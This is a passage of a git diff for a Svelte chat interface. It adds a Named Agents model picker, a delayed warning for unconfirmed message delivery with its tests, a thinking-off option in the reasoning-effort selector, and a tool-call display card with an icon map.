+ const currentProvider = $derived(
+ currentIsNamedAgent || current.key === NAMED_AGENTS_PROVIDER
+ ? NAMED_AGENTS_PROVIDER
+ : current.key,
+ );
+
+ const namedNames = $derived(namedAgentNames(namedAgents));
+
// Whether the currently-selected full model name is vision-capable.
const selectedVision = $derived(isVisionModel(modelInfo, selected));
- // Switching key jumps to the first model available under it.
- function selectKey(key: string): void {
+ // Whether the currently-selected raw model is PRESENT in the catalog (only
+ // meaningful for a raw selection — a Named Agent snapshot resolves to a raw
+ // model that may have left the catalog).
+ const rawMissing = $derived(
+ !currentIsNamedAgent && selected !== "" && !models.includes(selected),
+ );
+ const keyUnavailable = $derived(
+ !currentIsNamedAgent && selected !== "" && !providerKeys.includes(current.key),
+ );
+
+ // Switching provider. Going TO the Named Agents provider: jump to the first
+ // Named Agent (mirrors selectKey jumping to the first model); the model
+ // dropdown then lists named names. Going to a raw provider: existing behavior.
+ function selectProvider(key: string): void {
+ if (key === currentProvider) return;
+ if (key === NAMED_AGENTS_PROVIDER) {
+ selectFirstNamedAgent();
+ return;
+ }
const first = modelsForKey(models, key)[0] ?? "";
onSelect(joinModelName(key, first));
}
- function selectModel(model: string): void {
+ // Selecting a raw model suffix under the current raw provider.
+ function selectRawModel(model: string): void {
onSelect(joinModelName(current.key, model));
}
- // The full `<key>/<model>` name for a model suffix under the current key.
+ // Selecting a Named Agent name (under the synthetic provider): resolve it to a
+ // snapshot + raw model and report via onSelectNamedAgent.
+ function selectNamedAgent(name: string): void {
+ const agent = namedAgents.find((a) => a.name === name);
+ if (agent === undefined) return;
+ onSelectNamedAgent?.({
+ namedAgentId: agent.id,
+ namedAgentName: agent.name,
+ model: agent.model,
+ });
+ }
+
+ // Jump to the first configured Named Agent (used when the provider is switched
+ // to Named Agents), matching the raw-provider "jump to first model" behavior.
+ function selectFirstNamedAgent(): void {
+ const first = namedAgents[0];
+ if (first === undefined) return; // no named agents — the model dropdown shows the disabled placeholder
+ onSelectNamedAgent?.({
+ namedAgentId: first.id,
+ namedAgentName: first.name,
+ model: first.model,
+ });
+ }
+
+ // The full `<provider>/<model>` name for a raw model suffix under `current.key`.
function fullNameFor(modelSuffix: string): string {
return joinModelName(current.key, modelSuffix);
}
</script>
<div class="flex flex-col gap-2">
+ {#if zeroProviders}
+ <!-- First-boot guardrail (§7): a workspace with zero enabled providers
+ shows a visible prompt instead of a silently empty picker. -->
+ <div class="alert alert-warning text-sm" role="alert">
+ <span>
+ No providers enabled for this workspace — open the workspace <strong>Plugins</strong> to
+ enable one.
+ </span>
+ </div>
+ {/if}
<select
class="select w-full"
- value={current.key}
- onchange={(e) => selectKey(e.currentTarget.value)}
+ value={currentProvider}
+ onchange={(e) => selectProvider(e.currentTarget.value)}
aria-label="Key selector"
>
- {#each keys as key (key)}
- <option value={key}>{key}</option>
+ {#if keyUnavailable && currentProvider !== NAMED_AGENTS_PROVIDER}
+ <option value={current.key} disabled>{modelKeyLabel(current.key)} (unavailable)</option>
+ {/if}
+ {#each providerKeys as key (key)}
+ <option value={key}>
+ {key === NAMED_AGENTS_PROVIDER ? "Named Agents" : modelKeyLabel(key)}
+ </option>
{/each}
</select>
+
<select
class="select w-full"
- value={current.model}
- onchange={(e) => selectModel(e.currentTarget.value)}
+ value={currentIsNamedAgent ? (namedAgentSnapshot?.namedAgentName ?? "") : current.model}
+ onchange={
+ currentIsNamedAgent
+ ? (e) => selectNamedAgent(e.currentTarget.value)
+ : (e) => selectRawModel(e.currentTarget.value)
+ }
aria-label="Model selector"
+ disabled={currentProvider === NAMED_AGENTS_PROVIDER && namedAgents.length === 0}
>
- {#each keyModels as model (model)}
- <option value={model}>
- {model}{#if isVisionModel(modelInfo, fullNameFor(model))} · vision{/if}
- </option>
- {/each}
+ {#if currentProvider === NAMED_AGENTS_PROVIDER}
+ {#if namedAgents.length === 0 && !currentIsNamedAgent}
+ <option value="" disabled>No named agents configured</option>
+ {:else}
+ {#each namedNames as name (name)}
+ <option value={name}>{namedAgentSelectionLabel(name)}</option>
+ {/each}
+ {#if currentIsNamedAgent && !namedNames.includes(namedAgentSnapshot?.namedAgentName ?? "")}
+ <!-- The selected Named Agent was renamed/removed — keep showing the
+ captured snapshot name rather than silently switching (plan §7). -->
+ <option value={namedAgentSnapshot?.namedAgentName ?? ""} disabled>
+ {namedAgentSelectionLabel(namedAgentSnapshot?.namedAgentName ?? "")} (unavailable)
+ </option>
+ {/if}
+ {/if}
+ {:else}
+ {#each keyModels as model (model)}
+ <option value={model}>
+ {model}{#if isVisionModel(modelInfo, fullNameFor(model))} · vision{/if}
+ </option>
+ {/each}
+ {#if rawMissing && !keyUnavailable}
+ <option value={current.model} disabled>{current.model} (unavailable)</option>
+ {/if}
+ {/if}
</select>
- {#if selectedVision}
- <div class="flex items-center gap-1 text-xs text-base-content/60">
- <svg
- xmlns="http://www.w3.org/2000/svg"
- viewBox="0 0 24 24"
- fill="none"
- stroke="currentColor"
- stroke-width="2"
- stroke-linecap="round"
- stroke-linejoin="round"
- class="h-3.5 w-3.5"
- aria-hidden="true"
- >
- <path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"></path>
- <circle cx="12" cy="12" r="3"></circle>
- </svg>
- <span>Vision — this model sees images natively</span>
+
+ {#if rawMissing}
+ <div class="text-xs text-warning" role="status">
+ Selected model “{selected}” is unavailable — choose another credential.
</div>
- {:else}
+ {/if}
+
+ {#if currentIsNamedAgent}
<div class="text-xs text-base-content/40">
- Pasted images are auto-described (vision handoff)
+ Selected via <strong>Named Agents</strong> — snapshot of {namedAgentSnapshot?.namedAgentName}.
</div>
{/if}
-</div>
+
+ {#if !currentIsNamedAgent}
+ {#if selectedVision}
+ <div class="flex items-center gap-1 text-xs text-base-content/60">
+ <svg
+ xmlns="http://www.w3.org/2000/svg"
+ viewBox="0 0 24 24"
+ fill="none"
+ stroke="currentColor"
+ stroke-width="2"
+ stroke-linecap="round"
+ stroke-linejoin="round"
+ class="h-3.5 w-3.5"
+ aria-hidden="true"
+ >
+ <path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"></path>
+ <circle cx="12" cy="12" r="3"></circle>
+ </svg>
+ <span>Vision — this model sees images natively</span>
+ </div>
+ {:else}
+ <div class="text-xs text-base-content/40">
+ Pasted images are auto-described (vision handoff)
+ </div>
+ {/if}
+ {/if}
+</div> \ No newline at end of file
diff --git a/src/features/chat/ui/PendingInputWarning.svelte b/src/features/chat/ui/PendingInputWarning.svelte
new file mode 100644
index 0000000..c9e675e
--- /dev/null
+++ b/src/features/chat/ui/PendingInputWarning.svelte
@@ -0,0 +1,47 @@
+<script lang="ts">
+ import { onMount } from "svelte";
+ import type { PendingInput } from "../pending-inputs";
+
+ let {
+ input,
+ onDiscard,
+ }: {
+ input: PendingInput;
+ onDiscard: (requestId: string) => void;
+ } = $props();
+
+ let visible = $state(false);
+
+ // Presentation only: each keyed row gets one grace period, including restored
+ // or rejected inputs. Prop updates never restart it. Confirmation/discard
+ // removes the row, cancelling the timer along with any other unmount.
+ onMount(() => {
+ const timer = setTimeout(() => {
+ visible = true;
+ }, 1000);
+ return () => clearTimeout(timer);
+ });
+</script>
+
+{#if visible}
+ <div class="m-3 rounded border border-warning p-3 text-sm" role="status">
+ <p>
+ {input.rejection
+ ? `Message rejected: ${input.rejection}`
+ : "Delivery unconfirmed. Your input is saved on this device."}
+ </p>
+ <p>Check the conversation history before sending again to avoid a duplicate.</p>
+ <textarea
+ class="textarea textarea-bordered mt-2 w-full"
+ aria-label="Saved message"
+ readonly
+ value={input.request.type === "chat.send" ? input.request.message : input.request.text}
+ ></textarea>
+ {#each input.request.images ?? [] as image}
+ <img class="my-2 max-h-32" src={image.url} alt="Saved attachment" />
+ {/each}
+ <button class="btn btn-sm mt-2" onclick={() => onDiscard(input.request.requestId)}
+ >Discard saved copy</button
+ >
+ </div>
+{/if}
diff --git a/src/features/chat/ui/PendingInputs.svelte b/src/features/chat/ui/PendingInputs.svelte
new file mode 100644
index 0000000..dcb7aee
--- /dev/null
+++ b/src/features/chat/ui/PendingInputs.svelte
@@ -0,0 +1,16 @@
+<script lang="ts">
+ import type { PendingInput } from "../pending-inputs";
+ import PendingInputWarning from "./PendingInputWarning.svelte";
+
+ let {
+ inputs,
+ onDiscard,
+ }: {
+ inputs: readonly PendingInput[];
+ onDiscard: (requestId: string) => void;
+ } = $props();
+</script>
+
+{#each inputs as input (input.request.requestId)}
+ <PendingInputWarning {input} {onDiscard} />
+{/each}
diff --git a/src/features/chat/ui/PendingInputs.test.ts b/src/features/chat/ui/PendingInputs.test.ts
new file mode 100644
index 0000000..cea770d
--- /dev/null
+++ b/src/features/chat/ui/PendingInputs.test.ts
@@ -0,0 +1,217 @@
+import { cleanup, fireEvent, render, screen } from "@testing-library/svelte";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { PendingInput } from "../pending-inputs";
+import { createChatStore } from "../store.svelte";
+import {
+ createFakeCache,
+ createFakeHistorySync,
+ createFakeMetricsSync,
+ createFakeTransport,
+} from "../test-helpers";
+import PendingInputs from "./PendingInputs.svelte";
+
+function input(requestId: string, type: "chat.send" | "chat.queue" = "chat.send"): PendingInput {
+ return {
+ request: {
+ ...(type === "chat.send" ? { type, message: requestId } : { type, text: requestId }),
+ conversationId: "c",
+ requestId,
+ images: [{ url: "data:image/png;base64,AAAA", mimeType: "image/png" }],
+ },
+ };
+}
+
+beforeEach(() => vi.useFakeTimers());
+afterEach(() => {
+ cleanup();
+ const remaining = vi.getTimerCount();
+ vi.useRealTimers();
+ expect(remaining).toBe(0);
+});
+
+describe("pending input warning grace period", () => {
+ it.each([
+ "chat.send",
+ "chat.queue",
+ ] as const)("renders no %s recovery UI before 1000 ms, then keeps its content stable", async (type) => {
+ const { container } = render(PendingInputs, {
+ inputs: [input("saved message", type)],
+ onDiscard: vi.fn(),
+ });
+ expect(container.children).toHaveLength(0);
+ expect(container.textContent).toBe("");
+ await vi.advanceTimersByTimeAsync(999);
+ expect(container.children).toHaveLength(0);
+ expect(container.textContent).toBe("");
+ expect(screen.queryByRole("status")).toBeNull();
+ await vi.advanceTimersByTimeAsync(1);
+ const warning = screen.getByRole("status");
+ expect(warning).toHaveTextContent("Delivery unconfirmed. Your input is saved on this device.");
+ expect(warning).toHaveTextContent(
+ "Check the conversation history before sending again to avoid a duplicate.",
+ );
+ expect(screen.getByRole("textbox", { name: "Saved message" })).toHaveValue("saved message");
+ expect(screen.getByRole("img", { name: "Saved attachment" })).toHaveAttribute(
+ "src",
+ "data:image/png;base64,AAAA",
+ );
+ const content = warning.innerHTML;
+ await vi.advanceTimersByTimeAsync(10_000);
+ expect(screen.getByRole("status")).toBe(warning);
+ expect(warning.innerHTML).toBe(content);
+ });
+
+ it.each([
+ "confirmation",
+ "discard",
+ ])("%s before the threshold cancels the timer and never flashes later", async (resolution) => {
+ const transport = createFakeTransport();
+ const save = vi.fn();
+ const store = createChatStore({
+ conversationId: "c",
+ createRequestId: () => "first",
+ transport: transport.impl,
+ historySync: createFakeHistorySync().impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: createFakeCache().impl,
+ pendingInputStorage: { load: () => [], save },
+ });
+ try {
+ store.send("first");
+ // Saving and transmission stay immediate, independent of warning display.
+ expect(save).toHaveBeenCalledExactlyOnceWith(store.pendingInputs);
+ expect(transport.sent).toHaveLength(1);
+ const { container, rerender } = render(PendingInputs, {
+ inputs: store.pendingInputs,
+ onDiscard: store.discardPendingInput,
+ });
+ await vi.advanceTimersByTimeAsync(999);
+ if (resolution === "confirmation") {
+ store.handleDelta({ type: "chat.accepted", conversationId: "c", requestId: "first" });
+ } else {
+ store.discardPendingInput("first");
+ }
+ expect(store.pendingInputs).toEqual([]);
+ expect(save).toHaveBeenLastCalledWith([]);
+ await rerender({ inputs: store.pendingInputs });
+ expect(vi.getTimerCount()).toBe(0);
+ expect(container.children).toHaveLength(0);
+ expect(container.textContent).toBe("");
+ await vi.advanceTimersByTimeAsync(10_000);
+ expect(container.children).toHaveLength(0);
+ expect(container.textContent).toBe("");
+ } finally {
+ store.dispose();
+ }
+ });
+
+ it("hides an already visible warning immediately on confirmation", async () => {
+ const { container, rerender } = render(PendingInputs, {
+ inputs: [input("first")],
+ onDiscard: vi.fn(),
+ });
+ await vi.advanceTimersByTimeAsync(1000);
+ expect(screen.getByRole("status")).toBeInTheDocument();
+ await rerender({ inputs: [] });
+ expect(container.children).toHaveLength(0);
+ expect(container.textContent).toBe("");
+ });
+
+ it("preserves the discard action and hides the saved copy without another delay", async () => {
+ const onDiscard = vi.fn();
+ const { container, rerender } = render(PendingInputs, {
+ inputs: [input("first")],
+ onDiscard,
+ });
+ await vi.advanceTimersByTimeAsync(1000);
+ await fireEvent.click(screen.getByRole("button", { name: "Discard saved copy" }));
+ expect(onDiscard).toHaveBeenCalledExactlyOnceWith("first");
+ await rerender({ inputs: [] });
+ expect(container.children).toHaveLength(0);
+ expect(container.textContent).toBe("");
+ });
+
+ it("cancels all waiting timers on unmount", async () => {
+ const { unmount } = render(PendingInputs, {
+ inputs: [input("first"), input("second")],
+ onDiscard: vi.fn(),
+ });
+ expect(vi.getTimerCount()).toBe(2);
+ await vi.advanceTimersByTimeAsync(500);
+ unmount();
+ expect(vi.getTimerCount()).toBe(0);
+ await vi.advanceTimersByTimeAsync(10_000);
+ expect(screen.queryByRole("status")).toBeNull();
+ });
+
+ it("gives successive inputs independent delays without restarting existing rows", async () => {
+ const first = input("first");
+ const second = input("second");
+ const { rerender } = render(PendingInputs, { inputs: [first], onDiscard: vi.fn() });
+ await vi.advanceTimersByTimeAsync(600);
+ await rerender({ inputs: [second, { ...first }], onDiscard: vi.fn() });
+ await vi.advanceTimersByTimeAsync(399);
+ expect(screen.queryByRole("status")).toBeNull();
+ await vi.advanceTimersByTimeAsync(1);
+ const warning = screen.getByRole("status");
+ expect(screen.getByRole("textbox")).toHaveValue("first");
+ await rerender({ inputs: [{ ...second }, { ...first }], onDiscard: vi.fn() });
+ await vi.advanceTimersByTimeAsync(599);
+ expect(screen.getAllByRole("status")).toEqual([warning]);
+ await vi.advanceTimersByTimeAsync(1);
+ expect(
+ screen.getAllByRole("textbox").map((node) => (node as HTMLTextAreaElement).value),
+ ).toEqual(["second", "first"]);
+ // Removing the older warning must not re-hide/restart the newer warning.
+ await rerender({ inputs: [second] });
+ expect(screen.getByRole("textbox")).toHaveValue("second");
+ expect(vi.getTimerCount()).toBe(0);
+ });
+
+ it("starts a fresh delay after an earlier input was confirmed during its grace period", async () => {
+ const { rerender } = render(PendingInputs, { inputs: [input("first")], onDiscard: vi.fn() });
+ await vi.advanceTimersByTimeAsync(600);
+ await rerender({ inputs: [] });
+ await rerender({ inputs: [input("second")] });
+ await vi.advanceTimersByTimeAsync(999);
+ expect(screen.queryByRole("status")).toBeNull();
+ await vi.advanceTimersByTimeAsync(1);
+ expect(screen.getByRole("textbox")).toHaveValue("second");
+ });
+
+ it("keeps the original deadline when rejection arrives, and updates visible content immediately", async () => {
+ const pending = input("first");
+ const { rerender } = render(PendingInputs, { inputs: [pending], onDiscard: vi.fn() });
+ await vi.advanceTimersByTimeAsync(600);
+ await rerender({ inputs: [{ ...pending, rejection: "disk full" }] });
+ await vi.advanceTimersByTimeAsync(399);
+ expect(screen.queryByRole("status")).toBeNull();
+ await vi.advanceTimersByTimeAsync(1);
+ const warning = screen.getByRole("status");
+ expect(warning).toHaveTextContent("Message rejected: disk full");
+ expect(warning).not.toHaveTextContent("Delivery unconfirmed");
+ await rerender({ inputs: [{ ...pending, rejection: "still rejected" }] });
+ expect(screen.getByRole("status")).toBe(warning);
+ expect(warning).toHaveTextContent("Message rejected: still rejected");
+ expect(vi.getTimerCount()).toBe(0);
+ });
+
+ it.each([
+ undefined,
+ "disk full",
+ ])("restored entries (rejection: %s) use the same grace period and retain recovery content", async (rejection) => {
+ const restored = input("restored saved message");
+ render(PendingInputs, {
+ inputs: [rejection === undefined ? restored : { ...restored, rejection }],
+ onDiscard: vi.fn(),
+ });
+ await vi.advanceTimersByTimeAsync(999);
+ expect(screen.queryByRole("status")).toBeNull();
+ await vi.advanceTimersByTimeAsync(1);
+ expect(screen.getByRole("status")).toHaveTextContent(
+ rejection === undefined ? "Delivery unconfirmed" : "Message rejected: disk full",
+ );
+ expect(screen.getByRole("textbox")).toHaveValue("restored saved message");
+ expect(screen.getByRole("button", { name: "Discard saved copy" })).toBeEnabled();
+ });
+});
diff --git a/src/features/chat/ui/ReasoningEffortSelector.svelte b/src/features/chat/ui/ReasoningEffortSelector.svelte
index d982905..6858779 100644
--- a/src/features/chat/ui/ReasoningEffortSelector.svelte
+++ b/src/features/chat/ui/ReasoningEffortSelector.svelte
@@ -1,34 +1,45 @@
<script lang="ts">
import type { ReasoningEffort } from "@dispatch/transport-contract";
import {
- effectiveEffort,
- effortOptions,
- isReasoningEffort,
- type SaveReasoningEffort,
+ effectiveSelection,
+ isThinkingSelection,
+ selectionOptions,
+ type SaveThinkingSelection,
+ type ThinkingSelection,
} from "../reasoning-effort";
let {
- persisted,
+ persistedEffort,
+ persistedThinking,
save,
}: {
- /** The conversation's persisted level, or null when never set (default applies). */
- persisted: ReasoningEffort | null;
- save: SaveReasoningEffort;
+ /** The conversation's persisted effort level, or null when never set (default applies). */
+ persistedEffort: ReasoningEffort | null;
+ /**
+ * The conversation's persisted thinking flag, or null when never set
+ * (thinking ON — the default). `false` ⇒ thinking disabled (the separate
+ * "off" axis); the effort level is preserved across an off→on toggle.
+ */
+ persistedThinking: boolean | null;
+ /** Persist a thinking selection (off or a level). */
+ save: SaveThinkingSelection;
} = $props();
- const options = effortOptions();
+ const options = selectionOptions();
- // The user's in-flight choice; null = mirror the (async-loaded) persisted prop.
- // Re-mounted per conversation, so there is no cross-tab bleed.
- let chosen = $state<ReasoningEffort | null>(null);
+ // The user's in-flight choice; null = mirror the (async-loaded) persisted
+ // selection. Re-mounted per conversation, so there is no cross-tab bleed.
+ let chosen = $state<ThinkingSelection | null>(null);
let saving = $state(false);
let error = $state<string | null>(null);
let justSaved = $state(false);
- const selected = $derived(chosen ?? effectiveEffort(persisted));
+ const selected = $derived(
+ chosen ?? effectiveSelection(persistedEffort, persistedThinking),
+ );
async function handleChange(value: string) {
- if (!isReasoningEffort(value) || saving) return;
+ if (!isThinkingSelection(value) || saving) return;
chosen = value;
saving = true;
error = null;
@@ -40,7 +51,7 @@
justSaved = true;
} else {
error = result.error;
- chosen = null; // revert to the persisted value
+ chosen = null; // revert to the persisted selection
}
}
</script>
@@ -69,7 +80,7 @@
<p class="text-xs text-success">Saved — applies from the next turn.</p>
{:else}
<p class="text-xs opacity-50">
- How long the model thinks before answering. Changing it can re-prefill the prompt cache once.
+ How long the model thinks before answering. “Off” disables thinking entirely. Changing it can re-prefill the prompt cache once.
</p>
{/if}
</div>
diff --git a/src/features/chat/ui/ToolCard.svelte b/src/features/chat/ui/ToolCard.svelte
new file mode 100644
index 0000000..10f8528
--- /dev/null
+++ b/src/features/chat/ui/ToolCard.svelte
@@ -0,0 +1,274 @@
+<script lang="ts">
+ import type { ToolEntry } from "../index";
+ import { viewToolEntry } from "../logic/tool-summary";
+ import LazyCollapse from "./LazyCollapse.svelte";
+ import { TOOL_ICON_COMPONENTS } from "./tool-icons";
+
+ let { entry }: { entry: ToolEntry } = $props();
+ const card = $derived(viewToolEntry(entry));
+ const ToolIcon = $derived(TOOL_ICON_COMPONENTS[card.icon]);
+ let showAll = $state(false);
+</script>
+
+<div class="tool-card">
+ <LazyCollapse label={`Toggle tool call ${card.label}`} titleClass="pe-4">
+ {#snippet title()}
+ <div class="tool-header" class:has-earlier-call={card.callDetail.kind === "unavailable"}>
+ {#if card.status === "pending"}
+ <!-- Same in-progress animation as the streaming thinking block. All three
+ status icons share a fixed w-5 slot so the row never shifts on settle. -->
+ <span class="loading loading-dots loading-sm w-5 shrink-0" aria-label="Running"></span>
+ {:else if card.status === "error"}
+ <span class="w-5 shrink-0 text-center text-error" aria-label="Failed">✗</span>
+ {:else}
+ <span
+ class="w-5 shrink-0 text-center text-success"
+ class:opacity-60={card.callDetail.kind === "unavailable"}
+ aria-label="Succeeded">✓</span
+ >
+ {/if}
+ <!-- Per-tool Phosphor icon (key chosen by the pure view-model). -->
+ <ToolIcon size={16} class="shrink-0 opacity-70" aria-hidden="true" />
+ <span class="tool-name truncate" title={card.name}>{card.label}</span>
+ <span
+ class="tool-summary truncate font-normal text-base-content/60"
+ class:earlier-history={card.callDetail.kind === "unavailable"}
+ title={card.callDetail.kind === "unavailable" ? card.callDetail.text : card.callSummary}
+ >
+ {card.callSummary}
+ </span>
+ <span class="tool-badges gap-1 text-xs">
+ {#each card.callBadges as badge}
+ <span
+ class:text-success={badge.tone === "success"}
+ class:text-error={badge.tone === "error"}>{badge.label}</span
+ >
+ {/each}
+ </span>
+ {#if card.resultSummary !== null}
+ <span
+ class="tool-result text-xs"
+ class:text-error={card.status === "error"}
+ title={card.resultSummary}
+ >
+ {#if card.resultSummary === card.compactResultSummary}
+ <span>→ {card.resultSummary}</span>
+ {:else}
+ <span class="result-full">→ {card.resultSummary}</span>
+ <span class="result-compact">→ {card.compactResultSummary}</span>
+ {/if}
+ </span>
+ {:else}
+ <span class="tool-result text-xs text-base-content/60">→ running…</span>
+ {/if}
+ </div>
+ {/snippet}
+ <div class="min-w-0 space-y-4 text-xs">
+ <section aria-label="Call">
+ {#if card.callDetail.kind === "unavailable"}
+ <aside
+ role="note"
+ class="border-l-2 border-base-content/20 pl-3 italic text-base-content/60"
+ >
+ {card.callDetail.text}
+ </aside>
+ {:else}
+ <h3 class="mb-2 border-b border-base-content/20 pb-1 font-semibold text-base-content">
+ Call
+ </h3>
+ {/if}
+ {#if card.callDetail.kind === "none"}
+ <p class="italic text-base-content/60">No arguments</p>
+ {:else if card.callDetail.kind === "command"}
+ <pre class="overflow-x-auto">$ {card.callDetail.text}</pre>
+ {:else if card.callDetail.kind === "edit"}
+ <div class="mb-2 break-all font-mono">{card.callDetail.path}</div>
+ <!-- Unified-diff style: every removed/added line carries its own −/+ gutter
+ marker and a tinted row, so multi-line edits read as one diff block. -->
+ <div class="edit-diff overflow-x-auto rounded font-mono" role="group" aria-label="Edit diff">
+ {#if card.callDetail.oldText !== ""}
+ {#each card.callDetail.oldText.split("\n") as line, i (i)}
+ <div class="edit-diff-row edit-diff-del">
+ <span class="edit-diff-sign" aria-label="removed">−</span><span>{line}</span>
+ </div>
+ {/each}
+ {/if}
+ {#if card.callDetail.newText !== ""}
+ {#each card.callDetail.newText.split("\n") as line, i (i)}
+ <div class="edit-diff-row edit-diff-add">
+ <span class="edit-diff-sign" aria-label="added">+</span><span>{line}</span>
+ </div>
+ {/each}
+ {/if}
+ </div>
+ {:else if card.callDetail.kind === "fields"}
+ <dl class="call-fields">
+ {#each card.callDetail.fields as field}
+ <dt class="font-semibold text-base-content/85">{field.key}</dt>
+ <dd class="min-w-0">
+ <pre
+ class="overflow-x-auto"
+ class:whitespace-pre-wrap={!field.multiline}
+ class:break-words={!field.multiline}>{field.value}</pre>
+ </dd>
+ {/each}
+ </dl>
+ {/if}
+ </section>
+ <section aria-label="Response">
+ <h3 class="mb-2 border-b border-base-content/20 pb-1 font-semibold text-base-content">
+ Response
+ </h3>
+ {#if card.output === null}
+ <span class="text-base-content/75">running…</span>
+ {:else}
+ <div class:text-error={card.output.isError}>
+ {#if card.output.kind === "full"}
+ <pre class="overflow-x-auto">{card.output.lines.join("\n") || "(no output)"}</pre>
+ {:else}
+ {#if !showAll}
+ <pre class="overflow-x-auto">{card.output.head.join("\n")}</pre>
+ {/if}
+ <div class="output-controls" class:sticky-controls={showAll}>
+ <button
+ class="btn btn-soft btn-xs focus-visible:outline-primary"
+ aria-expanded={showAll}
+ onclick={() => {
+ showAll = !showAll;
+ }}
+ >
+ {#if showAll}<span aria-hidden="true">↑</span>{/if}
+ {showAll ? "Show fewer lines" : `⋯ ${card.output.hiddenCount} more lines`}
+ </button>
+ </div>
+ {#if showAll}
+ <pre class="overflow-x-auto">{card.output.all.join("\n")}</pre>
+ {:else}
+ <pre class="overflow-x-auto">{card.output.tail.join("\n")}</pre>
+ {/if}
+ {/if}
+ </div>
+ {/if}
+ </section>
+ </div>
+ </LazyCollapse>
+</div>
+
+<style>
+ .tool-card {
+ container-type: inline-size;
+ }
+ .tool-header {
+ display: flex;
+ align-items: center;
+ gap: 0.5rem;
+ width: 100%;
+ min-width: 0;
+ }
+ /* English names are short phrases: keep them whole and let the call
+ summary absorb the squeeze. The cap only bites on long MCP names. */
+ .tool-name {
+ flex: 0 0 auto;
+ max-width: 60%;
+ }
+ .tool-summary {
+ flex: 1;
+ min-width: 0;
+ }
+ .earlier-history {
+ font-style: italic;
+ color: var(--color-base-content);
+ opacity: 0.7;
+ }
+ .tool-badges {
+ display: flex;
+ flex-shrink: 0;
+ }
+ .tool-badges:empty {
+ display: none;
+ }
+ .tool-result {
+ flex-shrink: 0;
+ white-space: nowrap;
+ }
+ .result-compact {
+ display: none;
+ }
+ .call-fields {
+ display: grid;
+ grid-template-columns: minmax(4rem, max-content) minmax(0, 1fr);
+ gap: 0.5rem 1rem;
+ align-items: baseline;
+ }
+ .call-fields dt {
+ max-width: 10rem;
+ overflow-wrap: anywhere;
+ }
+ .edit-diff {
+ background: var(--color-base-300);
+ padding-block: 0.25rem;
+ }
+ .edit-diff-row {
+ display: flex;
+ min-width: max-content;
+ white-space: pre;
+ padding-inline-end: 0.75rem;
+ }
+ .edit-diff-sign {
+ flex-shrink: 0;
+ width: 1.75rem;
+ text-align: center;
+ user-select: none;
+ }
+ .edit-diff-del {
+ color: var(--color-error);
+ background: color-mix(in oklab, var(--color-error) 12%, transparent);
+ }
+ .edit-diff-add {
+ color: var(--color-success);
+ background: color-mix(in oklab, var(--color-success) 12%, transparent);
+ }
+ .output-controls {
+ padding-block: 0.5rem;
+ color: var(--color-base-content);
+ /* Same fill as the LazyCollapse inset well this sits in (opaque, so
+ scrolled output never shows through the sticky bar). */
+ background: var(--inset-well-bg, var(--color-base-200));
+ }
+ .sticky-controls {
+ position: sticky;
+ top: 0;
+ z-index: 2;
+ border-bottom: 1px solid color-mix(in oklab, var(--color-base-content) 20%, transparent);
+ margin-bottom: 0.5rem;
+ }
+ @container (max-width: 48rem) {
+ .result-full {
+ display: none;
+ }
+ .result-compact {
+ display: inline;
+ }
+ }
+ @container (max-width: 40rem) {
+ .tool-badges {
+ display: none;
+ }
+ .has-earlier-call .tool-result {
+ display: none;
+ }
+ }
+ @container (max-width: 24rem) {
+ .tool-header {
+ gap: 0.375rem;
+ }
+ .call-fields {
+ column-gap: 0.75rem;
+ }
+ }
+ @container (max-width: 18rem) {
+ .tool-result {
+ display: none;
+ }
+ }
+</style>
diff --git a/src/features/chat/ui/tool-icons.ts b/src/features/chat/ui/tool-icons.ts
new file mode 100644
index 0000000..1d68ebe
--- /dev/null
+++ b/src/features/chat/ui/tool-icons.ts
@@ -0,0 +1,52 @@
+// Phosphor icon per tool-icon key (the pure view-model picks the KEY — see
+// `logic/tool-summary.ts` `toolIcon`; this is the only place that knows the
+// concrete components). Deep imports (`phosphor-svelte/lib/<Name>Icon`) on
+// purpose: the package root re-exports ~1,500 components, and Svelte libraries
+// are not prebundled in dev, so a root import would load every one of them.
+
+import ArrowSquareOutIcon from "phosphor-svelte/lib/ArrowSquareOutIcon";
+import BookOpenIcon from "phosphor-svelte/lib/BookOpenIcon";
+import BracketsCurlyIcon from "phosphor-svelte/lib/BracketsCurlyIcon";
+import ChatCircleTextIcon from "phosphor-svelte/lib/ChatCircleTextIcon";
+import CpuIcon from "phosphor-svelte/lib/CpuIcon";
+import EyeIcon from "phosphor-svelte/lib/EyeIcon";
+import FileTextIcon from "phosphor-svelte/lib/FileTextIcon";
+import FloppyDiskIcon from "phosphor-svelte/lib/FloppyDiskIcon";
+import ImageIcon from "phosphor-svelte/lib/ImageIcon";
+import ListChecksIcon from "phosphor-svelte/lib/ListChecksIcon";
+import MagnifyingGlassIcon from "phosphor-svelte/lib/MagnifyingGlassIcon";
+import PaperPlaneTiltIcon from "phosphor-svelte/lib/PaperPlaneTiltIcon";
+import PencilSimpleIcon from "phosphor-svelte/lib/PencilSimpleIcon";
+import ProhibitIcon from "phosphor-svelte/lib/ProhibitIcon";
+import PuzzlePieceIcon from "phosphor-svelte/lib/PuzzlePieceIcon";
+import RobotIcon from "phosphor-svelte/lib/RobotIcon";
+import TerminalWindowIcon from "phosphor-svelte/lib/TerminalWindowIcon";
+import UsersThreeIcon from "phosphor-svelte/lib/UsersThreeIcon";
+import WrenchIcon from "phosphor-svelte/lib/WrenchIcon";
+import YoutubeLogoIcon from "phosphor-svelte/lib/YoutubeLogoIcon";
+import type { Component } from "svelte";
+import type { ToolIconKey } from "../logic/tool-summary";
+
+// biome-ignore lint/suspicious/noExplicitAny: Phosphor's IconComponentProps is internal; any icon accepts size/class.
+export const TOOL_ICON_COMPONENTS: Readonly<Record<ToolIconKey, Component<any>>> = {
+ terminal: TerminalWindowIcon,
+ "file-read": FileTextIcon,
+ "file-edit": PencilSimpleIcon,
+ "file-write": FloppyDiskIcon,
+ search: MagnifyingGlassIcon,
+ code: BracketsCurlyIcon,
+ todos: ListChecksIcon,
+ skill: BookOpenIcon,
+ vision: EyeIcon,
+ image: ImageIcon,
+ youtube: YoutubeLogoIcon,
+ "agent-summon": RobotIcon,
+ "agent-send": PaperPlaneTiltIcon,
+ "agent-read": ChatCircleTextIcon,
+ "agent-open": ArrowSquareOutIcon,
+ "agent-cancel": ProhibitIcon,
+ agents: UsersThreeIcon,
+ models: CpuIcon,
+ mcp: PuzzlePieceIcon,
